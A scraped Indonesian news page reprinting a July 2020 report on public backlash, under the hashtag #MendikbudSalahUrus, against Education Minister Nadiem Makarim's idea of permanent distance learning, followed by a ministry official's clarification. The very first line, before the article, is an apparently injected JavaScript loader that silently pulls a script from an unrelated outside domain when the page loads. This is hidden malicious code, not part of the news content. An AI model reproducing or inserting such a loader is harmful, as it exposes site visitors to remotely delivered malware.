(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ada Wacana Belajar dari Rumah Permanen, Tagar #MendikbudSalahUrus Menggema Â


KANALKALIMANTAN.COM, JAKARTA – Menteri Pendidikan dan Kebudayaan Nadiem Makarim mengeluarkan wacana akan menerapkan pembelajaran jarak jauh (PJJ) atau belajar dari rumah secara permanen. Wacana tersebut langsung mendapatkan penolakan keras dari publik hingga muncul tagar #MendikbudSalahUrus menggema di linimasa Twitter.

Dari pantauan Suara.com, Rabu (8/7/2020), tagar tersebut mulai muncul sejak Selasa (7/7/2020) malam. Hingga Rabu siang, ribuan cuitan menggunakan tagar Mendikbud Salah Urus masih menghiasi daftar trending topic Twitter.

 

Wacana belajar dari rumah permanen muncul dalam rapat kerja dengan Komisi X DPR RI pada Kamis (2/7/2020). Dalam rapat tersebut, Nadiem mengatakan Kemendikbud sedang mempersiapkan rumusan kurikulum, modul pembelajaran hingga asesmen PJJ.

“PJJ nantinya akan menjadi permanen, tidak hanya pada saat pandemi Covid-19 saja,” kata Nadiem.

Wacana tersebut langsung disambut kritik keras dari publik. Banyak warganet yang menyayangkan sikap Mendikbud hendak menjadikan PJJ secara permanen.

Tak sedikit publik yang menilai PJJ merugikan mereka. Sebab, pelajar tidak bisa bersosialisasi secara langsung terlebih PJJ juga menguras kuota internet dan menyebabkan para pelajar kecanduan gadget.

“Aku sebagai salah satu pelajar mengeluh dengan adanya pembelajaran jarak jauh ini. Karena, uang yang dikeluarkan untuk membeli paket internet sudah sangat banyak, jika ini berkelanjutan atau dipermanenkan, apakah Mendikbud mau membiayai paket internet kita?” kata @pmsiti.

“Amerika saja yang taraf pendidikannya jauh di atas kita nuntut buat dipercepat dibukanya sekolah, lah menteri kita malah bikin wacana daring jadi permanen,” ucap @maulanakamaldu.

“Ya sudah mas, tutup semua sekolah kita beralih ke Quiper, Zenius, Ruang Guru dan lain-lain kan lebih hemat cuma bayar kuota nggak perlu bayar SPP lagi. Ketahuan cerdasnya,” kata @vinggadani.

“Ke mall boleh, ke sekolah nggak boleh. Jadi niat mencerdaskan anak bangsa gimana nasibnya?” ujar @mas_dika_oi.

Sementara itu, Direktur Jenderal Guru dan Tenaga Kependidikan Kemendikbud Iwan Syahril memberikan klarifikasi ihwal wacana belajar dari rumah akan permanen. Ia menegaskan PJJ hanya akan dilakukan di satuan pendidikan yang berada di zona kuning, oranye dan merah serta tidak akan permanen.

Adapun makna permanen yang dimaksud oleh Mendikbud Nadiem adalah tersedianya platform PJJ, termasuk yang bersifat daring dan luring seperti Rumah Belajar.

Nantinya, model pembelajaran akan dirancang berbasis model kombinasi atau hybrid. Model hybrid adalah pembelajaran yang menggabungkan model daring dan tatap muka. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.